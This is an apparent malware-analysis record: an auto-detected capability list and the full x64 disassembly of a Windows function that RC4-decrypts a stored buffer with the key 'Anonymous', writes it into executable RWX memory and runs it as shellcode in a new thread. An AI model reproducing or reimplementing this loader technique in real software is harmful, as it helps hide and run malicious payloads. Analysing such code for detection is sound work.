Function at 0x14007ce80
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
push rbp
push rbx
push r12
lea rbp, [rax - 0x3a8]
sub rsp, 0x490
xor r12d, r12d
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rdi
mov ecx, r12d
mov rdi, qword [0x140351a60]
mov edx, 0xf
mov qword [rax + 0x18], r14
mov r8d, r12d
mov r14, qword [0x140351a68]
mov qword [rax + 0x20], r15
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rdx
cmp rdi, r14
je 0x14007cf4a
cmp qword [rdi + 0x18], 0x10
mov r9, rdi
jb 0x14007cee2
mov r9, qword [rdi]
mov rsi, qword [rdi + 0x10]
mov rax, rdx
sub rax, rcx
cmp rsi, rax
ja 0x14007cf1e
cmp rdx, 0x10
lea rax, [rcx + rsi]
lea rbx, [rsp + 0x50]
mov qword [rsp + 0x60], rax
cmovae rbx, r8
mov rdx, r9
add rbx, rcx
mov r8, rsi
mov rcx, rbx
call fcn.140082830
mov byte [rbx + rsi], r12b
jmp 0x14007cf30
mov rdx, rsi
mov qword [rsp + 0x20], rsi
lea rcx, [rsp + 0x50]
call fcn.14007da00
add rdi, 0x20
cmp rdi, r14
je 0x14007cf4a
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x50]
jmp 0x14007ced5
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.14007bc10
mov rdx, qword [rsp + 0x40]
mov r9d, 0x40
mov r8d, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
test rax, rax
jne 0x14007cf97
lea rdx, str.Error_allocating_memory.
call fcn.14007d5b0
mov rcx, rax
call fcn.14007d8a0
lea ebx, [r15 + 1]
jmp 0x14007d29c
movdqa xmm2, xmmword [0x14031a1c0]
lea rdx, [rbp - 0x60]
mov qword [rbp + 0x380], r12
mov ecx, 8
nop
lea eax, [rcx - 8]
movd xmm0, eax
lea rdx, [rdx + 0x40]
pshufd xmm0, xmm0, 0
lea eax, [rcx - 4]
paddd xmm0, xmm2
movd xmm1, eax
movdqu xmmword [rdx - 0x60], xmm0
lea eax, [rcx + 4]
pshufd xmm1, xmm1, 0
paddd xmm1, xmm2
movd xmm0, ecx
movdqu xmmword [rdx - 0x50], xmm1
add ecx, 0x10
movd xmm1, eax
pshufd xmm0, xmm0, 0
pshufd xmm1, xmm1, 0
paddd xmm0, xmm2
movdqu xmmword [rdx - 0x40], xmm0
lea eax, [rcx - 8]
paddd xmm1, xmm2
movdqu xmmword [rdx - 0x30], xmm1
cmp eax, 0x100
jl 0x14007cfb0
mov r8d, r12d
lea r10, [rbp - 0x80]
mov r9d, r12d
lea rbx, str.Anonymous
nop dword [rax]
nop word [rax + rax]
mov r11d, dword [r10]
mov ecx, r9d
mov eax, 0x38e38e39
mul r9d
shr edx, 1
lea eax, [rdx + rdx*8]
sub ecx, eax
movzx ecx, byte [rcx + rbx]
add ecx, r11d
add r8d, ecx
and r8d, 0x800000ff
jge 0x14007d065
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rax, r8d
lea rcx, [rbp - 0x80]
lea rcx, [rcx + rax*4]
inc r9d
mov eax, dword [rcx]
mov dword [r10], eax
add r10, 4
movzx eax, r11b
mov dword [rcx], eax
cmp r9d, 0x100
jl 0x14007d030
mov rcx, qword [rsp + 0x48]
lea r8, [rsp + 0x30]
mov rax, qword [rsp + 0x30]
cmp rcx, 0x10
mov esi, dword [rsp + 0x40]
cmovae r8, rax
test esi, esi
je 0x14007d16c
mov r10d, dword [rbp + 0x384]
mov r11d, esi
mov r9d, dword [rbp + 0x380]
nop
lea eax, [r9 + 1]
and eax, 0x800000ff
jge 0x14007d0d4
dec eax
or eax, 0xffffff00
inc eax
mov dword [rbp + 0x380], eax
lea r9, [rbp - 0x80]
cdqe
mov ecx, dword [r9 + rax*4]
lea r9, [r9 + rax*4]
add ecx, r10d
and ecx, 0x800000ff
jge 0x14007d0fd
dec ecx
or ecx, 0xffffff00
inc ecx
mov dword [rbp + 0x384], ecx
movzx edx, byte [r9]
movsxd rax, ecx
mov ecx, dword [rbp + rax*4 - 0x80]
mov dword [r9], ecx
movsxd rax, dword [rbp + 0x384]
mov dword [rbp + rax*4 - 0x80], edx
movsxd r10, dword [rbp + 0x384]
movsxd r9, dword [rbp + 0x380]
mov edx, dword [rbp + r10*4 - 0x80]
add edx, dword [rbp + r9*4 - 0x80]
and edx, 0x800000ff
jge 0x14007d146
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
movzx ecx, byte [rbp + rax*4 - 0x80]
xor byte [r8], cl
inc r8
sub r11, 1
jne 0x14007d0c0
mov rcx, qword [rsp + 0x48]
mov esi, dword [rsp + 0x40]
mov rax, qword [rsp + 0x30]
cmp rcx, 0x10
movsxd r14, esi
lea rbx, [rsp + 0x30]
mov rcx, r14
cmovae rbx, rax
call fcn.140080c24
mov rdi, rax
test esi, esi
jle 0x14007d198
mov r8, r14
xor edx, edx
mov rcx, rax
call fcn.140082f00
movsxd r8, esi
mov rcx, r12
sub r8, 1
js 0x14007d1e0
lea rdx, [r8 + rbx]
nop dword [rax + rax]
movzx eax, byte [rdx]
lea rdx, [rdx - 1]
mov byte [rcx + rdi], al
inc rcx
cmp rcx, r8
jle 0x14007d1b0
mov rdx, rdi
lea rcx, [r8 + 1]
sub rdx, rbx
nop dword [rax]
movzx eax, byte [rdx + rbx]
mov byte [rbx], al
lea rbx, [rbx + 1]
sub rcx, 1
jne 0x14007d1d0
mov rcx, rdi
call fcn.140080b20
cmp qword [rsp + 0x48], 0x10
lea rbx, [rsp + 0x30]
mov qword [rsp + 0x70], r12
cmovae rbx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9, qword [rsp + 0x40]
mov r8, rbx
mov rcx, rax
mov rdx, r15
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14007d22f
lea rdx, str.Error_writing_to_memory.
jmp 0x14007d255
mov qword [rsp + 0x28], r12
xor r9d, r9d
mov r8, r15
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x14007d27a
lea rdx, str.Error_creating_thread.
call fcn.14007d5b0
mov rcx, rax
call fcn.14007d8a0
mov r8d, 0x8000
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov ebx, 1
jmp 0x14007d29c
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov ebx, r12d
mov rdx, qword [rsp + 0x48]
mov r15, qword [rsp + 0x4c8]
mov r14, qword [rsp + 0x4c0]
mov rdi, qword [rsp + 0x4b8]
mov rsi, qword [rsp + 0x4b0]
cmp rdx, 0x10
jb 0x14007d2f5
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007d2f0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007d34f
call fcn.140080b20
mov rdx, qword [rsp + 0x68]
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], r12b
cmp rdx, 0x10
jb 0x14007d341
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007d33c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007d34f
call fcn.140080b20
mov eax, ebx
add rsp, 0x490
pop r12
pop rbx
pop rbp
ret
call fcn.140087154
int3